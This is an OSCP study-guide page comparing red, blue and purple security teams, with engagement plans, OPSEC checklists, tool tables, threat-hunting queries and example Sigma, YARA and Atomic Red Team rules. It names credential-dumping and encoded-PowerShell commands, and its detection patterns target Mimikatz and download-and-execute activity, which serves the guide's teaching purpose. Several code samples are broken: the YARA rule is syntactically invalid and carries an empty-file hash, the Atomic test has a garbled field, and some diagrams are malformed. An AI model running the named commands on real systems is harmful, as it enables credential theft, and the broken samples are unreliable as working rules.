Domain 1Recon & ReportingCORE

Red Team vs Blue Team vs Purple Team

Comparison of offensive (Red), defensive (Blue), and collaborative (Purple) security teams, their roles, tools, methodologies, and how understanding all perspectives improves OSCP penetration testing skills.

Domain: Domain 1: Reconnaissance & Reportingβ€’Updated: 2026-09-01
#red-team#blue-team#purple-team#adversary-simulation

Red Team vs Blue Team vs Purple Team

Table of Contents

  1. Overview
  2. Red Team (Offensive)
  3. Blue Team (Defensive)
  4. Purple Team (Collaborative)
  5. OSCP Exam Relevance
  6. Detection and Evasion
  7. Career Paths
  8. Practical Examples
  9. Lab Exercises
  10. Key Tools Comparison
  11. Exam Tips
  12. Cross-References
  13. Summary

Overview

The cybersecurity landscape is commonly divided into three operational perspectives, each with distinct objectives, methodologies, and toolsets:

Team Color Orientation Primary Goal
Red Team πŸ”΄ Offensive Simulate adversaries to find weaknesses
Blue Team πŸ”΅ Defensive Detect, prevent, and respond to attacks
Purple Team 🟣 Collaborative Bridge Red and Blue for continuous improvement

Key Insight: The most effective security professionals understand all three perspectives. OSCP primarily trains Red Team skills, but understanding Blue Team detection capabilities makes you a significantly better operator.

The Evolution of Team-Based Security

2000s: Penetration Testing (point-in-time assessment)
   ↓
2010s: Red vs Blue Team Exercises (adversarial simulation)
   ↓
2015+: Purple Teaming (collaborative, continuous improvement)
   ↓
Present: Integrated Security Operations (ATT&CK-aligned, measurable)

The shift from isolated penetration testing to continuous adversary simulation and collaborative purple teaming reflects the reality that security is not a one-time assessment but an ongoing process of improvement.


Red Team (Offensive)

Role and Objectives

A Red Team is an authorized group of security professionals who simulate real-world adversaries to test an organization’s defenses. Unlike traditional penetration testing, red teaming is broader in scope and more focused on realistic adversary behavior.

Core Objectives

  1. Validate defensive capabilities β€” Test whether Blue Team can detect and respond to realistic attacks
  2. Identify security gaps β€” Find weaknesses in people, processes, and technology
  3. Improve incident response β€” Provide realistic scenarios for Blue Team practice
  4. Measure security posture β€” Quantify detection and response capabilities against known TTPs

Red Team vs. Penetration Testing

This distinction is critical for OSCP candidates to understand:

Aspect Penetration Testing Red Teaming
Scope Defined scope (specific systems, networks) Broad scope (entire organization)
Objective Find as many vulnerabilities as possible Achieve specific objectives (e.g., access crown jewels)
Notification Blue Team usually knows about the test Blue Team may be unaware (or partially aware)
Duration Days to weeks Weeks to months
Rules of Engagement Broad β€” exploit everything in scope Narrow β€” specific objectives, OPSEC constraints
Evasion Not always required Required β€” avoid detection
Reporting Vulnerability-focused with remediation Objective-focused with detection gaps
TTPs May use noisy, obvious techniques Mimic real adversary behavior
Post-exploitation Demonstrate impact Achieve objectives, maintain persistence

OSCP Context: The OSCP exam is a penetration test, not a red team engagement. You are given a defined scope, the Blue Team (exam proctors) knows you are testing, and your goal is to find and exploit as many vulnerabilities as possible within the time limit. However, understanding red team operations helps you think more strategically about engagements.

Red Team Operations Planning

A professional red team engagement follows a structured lifecycle:

Phase 1: Planning and Intelligence Gathering

Red Team Engagement Plan:
  objectives:
    - Primary: Access domain administrator credentials
    - Secondary: Exfiltrate sensitive data from HR system
    - Tertiary: Establish persistent access
  
  scope:
    in_scope:
      - All corporate network segments
      - Corporate email system
      - Active Directory infrastructure
    out_of_scope:
      - Production database servers (no exploitation)
      - Third-party cloud environments
      - Social engineering of C-suite
  
  rules_of_engagement:
    opsec:
      - No use of known malicious IPs
      - All C2 traffic must use legitimate domains
      - No disruption of production services
    notification:
      - Blue Team aware of engagement window
      - Blue Team NOT aware of specific techniques
    kill_chain:
      - Full kill chain authorized
      - Data exfiltration limited to test data only

Phase 2: Weaponization and Staging

  • Prepare tools and infrastructure
  • Set up command and control (C2) servers
  • Create custom payloads and implants
  • Establish communication channels

Phase 3: Execution

  • Conduct operations according to plan
  • Maintain OPSEC throughout
  • Document all actions and findings
  • Adapt tactics based on Blue Team responses

Phase 4: Reporting and Debrief

  • Compile comprehensive report
  • Conduct hot wash with Blue Team
  • Identify detection gaps
  • Recommend improvements

OPSEC (Operations Security) for Red Teams

OPSEC is the practice of protecting operational information from adversaries. For red teams, OPSEC means avoiding detection by the Blue Team during the engagement.

OPSEC Pillars

Pillar Description Red Team Application
Critical Information What must be protected C2 infrastructure, team identities, TTPs
Threats Who might detect you Blue Team, SIEM, EDR, network monitoring
Vulnerabilities How you might be exposed Log artifacts, network signatures, behavioral anomalies
Indicators What gives you away Failed logins, unusual processes, DNS queries
Mission Analysis What’s essential vs. optional Prioritize objectives, minimize noise

OPSEC Checklist for Operators

Pre-Engagement:
☐ Verify all infrastructure is clean (no known-bad IPs/domains)
☐ Ensure C2 domains have valid SSL certificates
☐ Test all tools in isolated environment
☐ Verify no team member info leaks in tool configs
☐ Confirm jump box / proxy infrastructure is secure

During Engagement:
☐ Minimize failed authentication attempts
☐ Use legitimate-looking process names
☐ Avoid obvious tool signatures (rename binaries)
☐ Limit scanning activity (avoid port sweeps)
☐ Use living-off-the-land binaries (LOLBins)
☐ Time operations to blend with normal traffic
☐ Monitor Blue Team activity (if visible)

Post-Engagement:
☐ Clean up all artifacts
☐ Remove persistence mechanisms
☐ Document all actions for reporting
☐ Debrief with team on OPSEC lessons learned

Red Team Tools

Command and Control (C2) Frameworks

Tool Type Key Features Cost
Cobalt Strike Commercial C2 Malleable C2 profiles, beacon, team server, aggressor scripts ~$15,000/year
Sliver Open Source C2 Golang-based, multi-stage implants, DNS/HTTPS over DNS Free
Mythic Open Source C2 Modular, C2 profiles, cross-platform, API-driven Free
Havoc Open Source C2 Modern UI, Lua scripting, multi-protocol Free
Metasploit Framework Exploits, payloads, post-exploitation modules Free (Pro available)

Reconnaissance and Enumeration

Tool Purpose Description
BloodHound AD reconnaissance Maps Active Directory attack paths using Neo4j
Sherlock AD enumeration Finds misconfigurations in Active Directory
CrackMapExec Network enumeration SMB, WinRM, LDAP, MSSQL enumeration and exploitation
Nmap Network scanning Port scanning, service detection, OS fingerprinting
theHarvester OSINT Email, subdomain, and IP harvesting

Credential Attacks

Tool Purpose Description
Mimikatz Credential dumping Extracts credentials from memory (LSASS)
Rubeus Kerberos attacks Kerberoasting, AS-REP roasting, ticket manipulation
SecretsDump.py Remote dumping Impacket tool for remote credential extraction
Hashcat Password cracking GPU-accelerated password cracking
John the Ripper Password cracking CPU-based password cracking with rule support

Post-Exploitation

Tool Purpose Description
PowerShell Empire Post-exploitation PowerShell-based agent framework (legacy)
PoshC2 C2 / Post-exploitation PowerShell-based C2 with C2 profiles
Covenant Open Source C2 .NET-based C2 with implant generation
SharpHound AD collection BloodHound data collector (C#)
Lateral Movement Tools Lateral movement psexec, wmiexec, smbexec, dcomexec

Red Team Techniques (Full Kill Chain)

Reconnaissance β†’ Weaponization β†’ Delivery β†’ Exploitation β†’ Installation β†’ C2 β†’ Actions on Objectives
     β”‚                  β”‚               β”‚              β”‚               β”‚              β”‚              β”‚
     β–Ό                  β–Ό               β–Ό              β–Ό               β–Ό              β–Ό              β–Ό
  OSINT,           Payload         Phishing,     Vulnerability    Implant        C2 Channel     Data Theft,
  Network          Creation        Droppers,     Exploitation,    Deployment,    Establishment,  Lateral
  Scanning         Research        USB Drops     Auth Bypass      Persistence    Communication,  Movement,
                   Targeting       Drive-by      Pass-the-        Mechanisms     Data Exfil,     Privilege
                               -   Downloads                 Credential         Staging         Escalation
                                   Attacks                   Attacks

Detailed Technique Examples

1. Initial Access

  • Spear phishing with malicious attachments
  • Exploitation of public-facing vulnerabilities
  • Valid account compromise (credential stuffing)
  • Supply chain attacks

2. Execution

  • PowerShell scripts (powershell -enc <base64>)
  • LOLBins (certutil, mshta, rundll32)
  • WMI execution (wmic process call create)
  • Scheduled tasks for persistence

3. Persistence

  • Registry run keys
  • Scheduled tasks
  • Service installation
  • WMI event subscriptions
  • DLL hijacking

4. Privilege Escalation

  • Kernel exploits
  • Service misconfigurations
  • Token impersonation
  • Token theft
  • UAC bypass techniques

5. Defense Evasion

  • Process injection
  • Code signing abuse
  • AMSI bypass
  • Log clearing
  • Fileless techniques

6. Credential Access

  • LSASS dumping (Mimikatz)
  • Kerberoasting
  • DCSync attacks
  • NTDS.dit extraction
  • Credential harvesting from browsers

7. Discovery

  • Network share enumeration
  • User/group enumeration
  • Domain trust mapping
  • BloodHound data collection

8. Lateral Movement

  • Pass-the-Hash
  • Pass-the-Ticket
  • Remote service execution (PsExec, WMI)
  • SMB execution
  • RDP hijacking

9. Collection

  • Email collection
  • Document search and staging
  • Clipboard monitoring
  • Keylogging

10. Exfiltration

  • DNS tunneling
  • HTTPS exfiltration
  • Cloud storage upload
  • Encrypted channel exfiltration

Red Team Reporting

Red Team Report Structure

1. Executive Summary
   - Objectives and outcomes
   - Key findings at a high level
   - Risk assessment

2. Engagement Overview
   - Scope and rules of engagement
   - Timeline of operations
   - Team composition

3. Technical Findings
   - Attack chain documentation
   - Techniques used (mapped to MITRE ATT&CK)
   - Evidence and screenshots
   - Detection gaps identified

4. Detection Analysis
   - What was detected by Blue Team
   - What was NOT detected
   - Time to detect (TTD) for each technique
   - False positive analysis

5. Recommendations
   - Detection improvements
   - Prevention controls
   - Response playbooks
   - Training recommendations

6. Appendices
   - Tool configurations
   - Custom scripts
   - MITRE ATT&CK mapping
   - Raw data and logs

Red Team Report vs. Pentest Report

Aspect Pentest Report Red Team Report
Focus Vulnerabilities found Objectives achieved and detection gaps
Detail Level High technical detail per vulnerability Strategic narrative with technical evidence
Metrics CVSS scores, vulnerability counts Time to detect, time to respond, objectives met
Recommendations Remediation steps Detection rules, response playbooks, training
Audience Technical teams, management Security operations, management, incident response
ATT&CK Mapping Optional Essential

Blue Team (Defensive)

Role and Objectives

A Blue Team is responsible for defending an organization’s information systems. They operate security tools, monitor for threats, respond to incidents, and continuously improve defensive capabilities.

Core Objectives

  1. Prevent attacks from succeeding
  2. Detect intrusions as quickly as possible
  3. Respond to incidents effectively
  4. Recover systems and operations after an incident
  5. Learn from incidents to improve defenses

SOC (Security Operations Center) Operations

The SOC is the centralized unit where Blue Team operations occur.

SOC Tiers

Tier Role Responsibilities Skills Required
Tier 1 Analyst Alert triage, initial investigation, escalation SIEM basics, log analysis, ticketing
Tier 2 Senior Analyst Deep investigation, incident response, threat hunting Advanced log analysis, malware analysis, scripting
Tier 3 Specialist Threat hunting, detection engineering, IR leadership Reverse engineering, advanced threat hunting, architecture
Manager SOC Lead Strategy, resource management, reporting Leadership, metrics, stakeholder communication

SOC Shift Model

24/7 SOC Coverage:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  00:00 ─── 08:00  β”‚  Night Shift (Tier 1 + 2)  β”‚
β”‚  08:00 ─── 16:00  β”‚  Day Shift (Tier 1 + 2 + 3)β”‚
β”‚  16:00 ─── 24:00  β”‚  Evening Shift (Tier 1 + 2) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
            Escalation Path:
            Tier 1 β†’ Tier 2 β†’ Tier 3 β†’ IR Team β†’ Management

SOC Workflow

Alert Generation β†’ Triage β†’ Investigation β†’ Classification β†’ Response β†’ Documentation β†’ Closure
     β”‚                β”‚           β”‚                β”‚              β”‚              β”‚             β”‚
     β–Ό                β–Ό           β–Ό                β–Ό              β–Ό              β–Ό             β–Ό
SIEM/EDR generates  Analyst     Deep dive       True Positive   Containment,   Update IR      Lessons
alert based on      reviews      into alert      / False         Eradication,  playbook,       learned
detection rule      alert,       with additional / True          Recovery,     notify          feed back
                    gathers      context,        Negative        Notification  stakeholders    to detection
                    initial      correlates                              β”‚
                    context     with other alerts                       β–Ό
                                                              Create incident ticket

Incident Response Lifecycle (NIST IR)

The NIST Computer Security Incident Handling Guide (SP 800-61 Rev. 2) defines four phases:

Phase 1: Preparation

Preparation Activities:
  people:
    - Define IR team roles and responsibilities
    - Establish communication channels
    - Train IR team members
    - Conduct tabletop exercises
  
  processes:
    - Develop IR plan and playbooks
    - Define escalation procedures
    - Establish evidence handling procedures
    - Create communication templates
  
  technology:
    - Deploy and configure SIEM
    - Deploy and configure EDR
    - Set up forensic workstations
    - Establish log collection and retention
    - Configure network monitoring

Phase 2: Detection and Analysis

Detection Sources:

  • SIEM alerts
  • EDR alerts
  • IDS/IPS alerts
  • User reports
  • Threat intelligence feeds
  • Threat hunting findings

Analysis Steps:

1. Triage the Alert
   β”œβ”€ Is this a true positive or false positive?
   β”œβ”€ What is the severity and impact?
   └─ Does this require immediate action?

2. Investigate the Incident
   β”œβ”€ Gather additional context
   β”œβ”€ Correlate with other alerts
   β”œβ”€ Identify the scope of compromise
   β”œβ”€ Determine the attacker's TTPs
   └─ Map to MITRE ATT&CK

3. Analyze the Evidence
   β”œβ”€ Review logs (system, network, application)
   β”œβ”€ Analyze malware samples (if applicable)
   β”œβ”€ Examine memory dumps
   β”œβ”€ Review network captures
   └─ Preserve evidence chain of custody

4. Determine Impact
   β”œβ”€ What systems are affected?
   β”œβ”€ What data was accessed/exfiltrated?
   β”œβ”€ What is the business impact?
   └─ What is the regulatory impact?

Phase 3: Containment, Eradication, and Recovery

Containment Strategies:

Strategy Description When to Use
Network Isolation Disconnect affected systems from network Active threat, lateral movement detected
Account Disablement Disable compromised accounts Credential compromise confirmed
Firewall Rules Block malicious IPs/domains Known C2 infrastructure identified
Email Blocking Block malicious senders/domains Phishing campaign detected
Host Isolation Use EDR to isolate endpoint Malware confirmed on endpoint

Eradication Steps:

  1. Remove malware and malicious artifacts
  2. Close attack vectors (patch vulnerabilities)
  3. Reset compromised credentials
  4. Remove unauthorized accounts and persistence

Recovery Steps:

  1. Restore systems from clean backups
  2. Verify system integrity
  3. Monitor for re-infection
  4. Gradually restore normal operations
  5. Validate security controls are effective

Phase 4: Post-Incident Activity

Post-Incident Activities:
  lessons_learned:
    - Conduct post-incident review meeting
    - Document what went well
    - Document what could be improved
    - Identify root causes
    - Assign action items with owners
  
  reporting:
    - Create incident report
    - Notify management
    - Notify regulatory bodies (if required)
    - Notify affected parties (if required)
  
  improvement:
    - Update detection rules
    - Update IR playbooks
    - Implement additional controls
    - Schedule training based on gaps
    - Update risk assessment

Threat Hunting Methodology

Threat hunting is the proactive search for threats that have evaded existing detection controls.

Threat Hunting Cycle

         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
         β”‚   Hypothesis    β”‚
         β”‚   Generation    β”‚
         β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                  β”‚
                  β–Ό
         └─────────────────┐
         β”‚   Data          β”‚
         β”‚   Collection    β”‚
         β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                  β”‚
                  β–Ό
         └─────────────────┐
         β”‚   Analysis      β”‚
         β”‚   & Detection   β”‚
         β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                  β”‚
                  β–Ό
         └─────────────────┐
         β”‚   Investigation β”‚
         β”‚   & Response    β”‚
         β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                  β”‚
                  β–Ό
         └─────────────────┐
         β”‚   Documentation β”‚
         β”‚   & Sharing     β”‚
         β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                  β”‚
                  └──────┐
                         β–Ό
                  Feed back to Hypothesis

Hypothesis Generation Sources

Source Example Hypothesis
Threat Intelligence β€œAPT29 is targeting our industry with spear phishing”
ATT&CK Framework β€œWe have no detection for LSASS dumping”
Red Team Results β€œRed Team achieved domain admin in 2 hours undetected”
Log Analysis β€œUnusual PowerShell execution patterns detected”
Industry Reports β€œRansomware groups are abusing RDP in our sector”

Threat Hunting Techniques

1. Signature-Based Hunting

-- Example: Hunt for Mimikatz execution
SELECT * FROM process_events
WHERE process_name LIKE '%mimikatz%'
   OR command_line LIKE '%sekurlsa%'
   OR command_line LIKE '%kerberos::%'

2. Behavioral Hunting

-- Example: Hunt for unusual PowerShell activity
SELECT * FROM process_events
WHERE process_name = 'powershell.exe'
  AND (
    command_line LIKE '%-enc%'
    OR command_line LIKE '%-encodedcommand%'
    OR command_line LIKE '%DownloadString%'
    OR command_line LIKE '%IEX%'
  )
  AND parent_process NOT IN ('vscode.exe', 'visualstudio.exe')

3. Anomaly-Based Hunting

-- Example: Hunt for unusual login times
SELECT user_name, login_time, source_ip
FROM authentication_logs
WHERE login_time BETWEEN '00:00' AND '05:00'
  AND user_name NOT IN (SELECT user_name FROM shift_workers)

Blue Team Tools

SIEM (Security Information and Event Management)

Tool Type Key Features Cost
Splunk Commercial Powerful search, extensive apps, machine learning Per GB/day
Elastic SIEM Open Core Elasticsearch-based, Kibana dashboards, free tier Free / Paid
Microsoft Sentinel Commercial Cloud-native, Azure integration, SOAR built-in Per GB ingested
QRadar Commercial IBM’s SIEM, network packet analysis, URPs Per event/day
Wazuh Open Source SIEM + XDR, HIDS, vulnerability detection Free

EDR (Endpoint Detection and Response)

Tool Type Key Features Cost
CrowdStrike Falcon Commercial Cloud-native, lightweight agent, AI-driven Per endpoint
SentinelOne Commercial Autonomous response, rollback, threat graph Per endpoint
Microsoft Defender for Endpoint Commercial Windows integration, attack surface reduction Per device
Carbon Black Commercial VMware-owned, prevention-focused, visibility Per endpoint
Wazuh Open Source HIDS, file integrity, log analysis Free

IDS/IPS (Intrusion Detection/Prevention Systems)

Tool Type Key Features Cost
Suricata Open Source Multi-threaded, IPS mode, EVE JSON output Free
Snort Open Source Rule-based, large community, extensive rules Free
Zeek Open Source Network analysis framework, protocol parsing Free
Security Onion Open Source Distribution with Suricata, Zeek, Squert Free

SOAR (Security Orchestration, Automation and Response)

Tool Type Key Features Cost
Splunk SOAR Commercial Playbook automation, integrations, case management Per instance
Phantom Commercial Now part of Splunk, workflow automation Per instance
TheHive Open Source Incident response platform, case management Free
Shuffle Open Source SOAR platform, visual playbook builder Free

Detection Engineering

Detection engineering is the practice of creating and maintaining detection rules to identify malicious activity.

Detection Rule Lifecycle

Requirement β†’ Design β†’ Development β†’ Testing β†’ Deployment β†’ Monitoring β†’ Tuning β†’ Retirement
    β”‚             β”‚           β”‚            β”‚            β”‚            β”‚          β”‚          β”‚
    β–Ό             β–Ό           β–Ό            β–Ό            β–Ό            β–Ό          β–Ό          β–Ό
Identify what   Determine   Write rule   Test against  Deploy to    Monitor for  Adjust for   Remove if
to detect       data        using         known good   production   alerts,      false        obsolete
                sources     appropriate   and bad       SIEM/EDR    incidents,   positives,   or ineffective
                and         framework     samples       and EDR     and          sensitivity  technique
                logic

Sigma Rule Example

Sigma is a generic detection rule format that can be translated to multiple SIEM platforms.

# Sigma Rule: Detect Mimikatz Execution
title: Mimikatz Execution Detected
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects execution of Mimikatz or related commands
author: Security Team
date: 2026/01/15
modified: 2026/08/31
references:
  - https://github.com/gentilkiwi/mimikatz
  - https://attack.mitre.org/techniques/T1003/001
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\mimikatz.exe'
      - '\mimikatz.exe.config'
    CommandLine|contains|all:
      - 'sekurlsa'
      - 'logonpasswords'
  selection_process:
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wmic.exe'
  condition: selection and selection_process
falsepositives:
  - Security testing tools
  - Legitimate use of Mimikatz by security teams
level: high
tags:
  - attack.credential_access
  - attack.t1003.001
  - attack.t1550.002

YARA Rule Example

YARA is used for malware identification and classification.

rule mimikatz_executable : mimikatz malware
{
    meta:
        description = "Detects Mimikatz executable"
        author = "Security Team"
        date = "2026-01-15"
        reference = "https://github.com/gentilkiwi/mimikatz"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $mz = { 4D 5A }
        $sekurlsa = "sekurlsa" ascii wide
        $kerberos = "kerberos::" ascii wide
        $lsass = "lsass" ascii wide
        $dpapi = "dpapi" ascii wide
        $tspkg = "tspkg" ascii wide
        $command_strings = {
            "mimikatz"
            "kiwi"
            "gentilkiwi"
        }

    condition:
        $mz at 0 and
        3 of ($sekurlsa, $kerberos, $lsass, $dpapi, $tspkg) and
        any of $command_strings
}

Blue Team Metrics

Metric Definition Formula Target
MTTD (Mean Time to Detect) Average time from compromise to detection Ξ£(detection times) / number of incidents < 1 hour
MTTR (Mean Time to Respond) Average time from detection to containment Ξ£(response times) / number of incidents < 4 hours
MTTI (Mean Time to Identify) Average time to identify root cause Ξ£(identification times) / number of incidents < 2 hours
Detection Coverage Percentage of ATT&CK techniques with detection (Techniques detected / Total techniques) Γ— 100 > 80%
False Positive Rate Percentage of alerts that are false positives (False positives / Total alerts) Γ— 100 < 10%
Mean Time to Protect Average time to deploy new detection Ξ£(deployment times) / number of rules < 24 hours

Industry Benchmark (IBM Cost of a Data Breach 2023): Organizations with well-trained security teams and practiced incident response plans saved an average of $1.3 million compared to those without. The average MTTD was 204 days, and MTTR was 71 days β€” highlighting the need for continuous improvement.


Purple Team (Collaborative)

Role and Objectives

A Purple Team combines Red and Blue Team capabilities to create a collaborative, continuous improvement cycle. The goal is not to β€œwin” but to improve organizational security posture.

Core Objectives

  1. Bridge the gap between Red and Blue Teams
  2. Validate detections through continuous testing
  3. Improve response through realistic scenarios
  4. Share knowledge across security functions
  5. Measure effectiveness of security controls

How Purple Teaming Works

Purple Team Exercise Lifecycle

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    Purple Team Exercise Cycle                        β”‚
β”‚                                                                     β”‚
β”‚  1. Planning Phase                                                  β”‚
β”‚     β”œβ”€ Define objectives (what techniques to test)                  β”‚
β”‚     β”œβ”€ Select ATT&CK techniques                                    β”‚
β”‚     β”œβ”€ Coordinate with Red and Blue teams                          β”‚
β”‚     └─ Establish success criteria                                  β”‚
β”‚                                                                     β”‚
β”‚  2. Execution Phase                                                 β”‚
β”‚     β”œβ”€ Red executes technique                                      β”‚
β”‚     β”œβ”€ Blue monitors for detection                                 β”‚
β”‚     β”œβ”€ Purple facilitates communication                           β”‚
β”‚     └─ Real-time feedback loop                                     β”‚
β”‚                                                                     β”‚
β”‚  3. Analysis Phase                                                  β”‚
β”‚     β”œβ”€ Was the technique detected?                                 β”‚
β”‚     β”œβ”€ If yes, how quickly? (MTTD)                                 β”‚
β”‚     β”œβ”€ If no, why not?                                             β”‚
β”‚     └─ What is the detection gap?                                  β”‚
β”‚                                                                     β”‚
β”‚  4. Improvement Phase                                               β”‚
β”‚     β”œβ”€ Blue creates/improves detection rule                        β”‚
β”‚     β”œβ”€ Red validates the new detection                             β”‚
β”‚     β”œβ”€ Document lessons learned                                    β”‚
β”‚     └─ Update security controls                                    β”‚
β”‚                                                                     β”‚
β”‚  5. Repeat                                                          β”‚
β”‚     └─ Move to next technique or refine current                    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Purple Team vs. Traditional Red vs. Blue Exercise

Aspect Traditional Exercise Purple Team Exercise
Duration Weeks to months Hours to days
Scope Broad, full kill chain Narrow, specific techniques
Communication Limited during exercise Continuous, open
Goal Red wins or Blue wins Both teams improve
Feedback Post-exercise debrief Real-time during exercise
Outcome Report with findings Improved detections and response
Frequency Annual or bi-annual Weekly or monthly

Joint Exercises and Knowledge Sharing

Exercise Format

Purple Team Exercise Template:
  exercise_name: "LSASS Dumping Detection Validation"
  date: "2026-08-31"
  duration: "4 hours"
  
  objectives:
    - Validate detection of LSASS dumping via Mimikatz
    - Validate detection of LSASS dumping via Procdump
    - Measure MTTD for each technique
    - Improve detection coverage for T1003.001
  
  techniques:
    - id: T1003.001
      name: "OS Credential Dumping: LSASS Memory"
      methods:
        - Mimikatz sekurlsa::logonpasswords
        - Procdump LSASS dump + Mimikatz offline
        - Comsvcs.dll COM dump
  
  red_team_tasks:
    - Execute each technique on test system
    - Document exact commands and artifacts
    - Provide Blue Team with expected indicators
  
  blue_team_tasks:
    - Monitor for detection during execution
    - Document detection time and method
    - Create/improve detection rules
    - Validate rules against false positives
  
  success_criteria:
    - All techniques detected within 5 minutes
    - Detection rules created for any gaps
    - False positive rate < 5%
    - MTTD < 2 minutes for all techniques
  
  deliverables:
    - Detection rules (Sigma format)
    - Updated SIEM dashboards
    - Lessons learned document
    - ATT&CK coverage update

Continuous Improvement Cycle

                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚   Identify Gap   β”‚
                    β”‚  (ATT&CK Matrix) β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
                             β–Ό
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚   Red Executes   β”‚
                    β”‚  Technique       β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
                             β–Ό
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚   Blue Detects?  β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚                 β”‚
               Yes  β”‚                 β”‚  No
                    β”‚                 β”‚
                    β–Ό                 β–Ό
           β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
           β”‚ Measure MTTD β”‚  β”‚ Identify Gap     β”‚
           β”‚ Optimize     β”‚  β”‚ Create Detection β”‚
           β”Œβ”€β”€β”€β”€β”€β”€β”€β”˜              β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚               β”‚           β”‚
           β–Ό               β”‚           β–Ό
           β”‚    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
           └───►│  Update Controls β”‚β—„β”€β”˜
                β”‚  & Playbooks     β”‚
                β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                         β”‚
                         β–Ό
                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                β”‚  Validate with   β”‚
                β”‚  Next Exercise   β”‚
                β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                         β”‚
                         └──────► (Repeat)

Purple Team Tools

Tool Purpose Description
Atomic Red Team Technique execution Open source library of atomic tests mapped to ATT&CK
Caldera Adversary emulation Automated adversary emulation platform by MITRE
MITRE ATT&CK Navigator Layer management Visual tool for creating and sharing ATT&CK layers
Detection Lab Lab environment Vagrant-based lab with Elastic, Wazuh, and Windows
Sigma Detection rules Generic detection rule format
YARA Malware detection Pattern matching for malware identification

Atomic Red Team Example

# Atomic Test Example: T1059.001 - PowerShell
atomic_test:
  name: Execute PowerShell Script
  supported_platforms:
    - windows
  auto_generated_guid: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
  description: >
    Executes a PowerShell script. Adversaries may abuse PowerShell
    scripts and commands to perform a variety of activities, after
    gaining access to a system or during remote execution.
  attacker_attackix:
    - technique: T1059.001
      tactics:
        - execution
  executor:
    name: powershell
    command: >
      Write-Host "Atomic Test Executed"
    test_examples:
      - Write-Host "Hello from Atomic Red Team"
  input_args:
    script_path:
      description: Path to the PowerShell script to execute
      type: path
      default: "C:\AtomicRedTeam\atomics\T1059.001\bin\script.ps1"

OSCP Exam Relevance

OSCP is Primarily a Red Team/Pentest Exam

The OSCP exam tests your ability to:

  • Perform penetration testing on multiple machines
  • Exploit various vulnerability types
  • Move laterally across networks
  • Escalate privileges
  • Document findings in a professional report

Key Point: The OSCP exam is a penetration test, not a red team engagement. You are given a defined scope, and your goal is to compromise as many systems as possible within the 24-hour exam window.

Why Understanding Blue Team Helps in OSCP

1. Knowing What Gets Detected

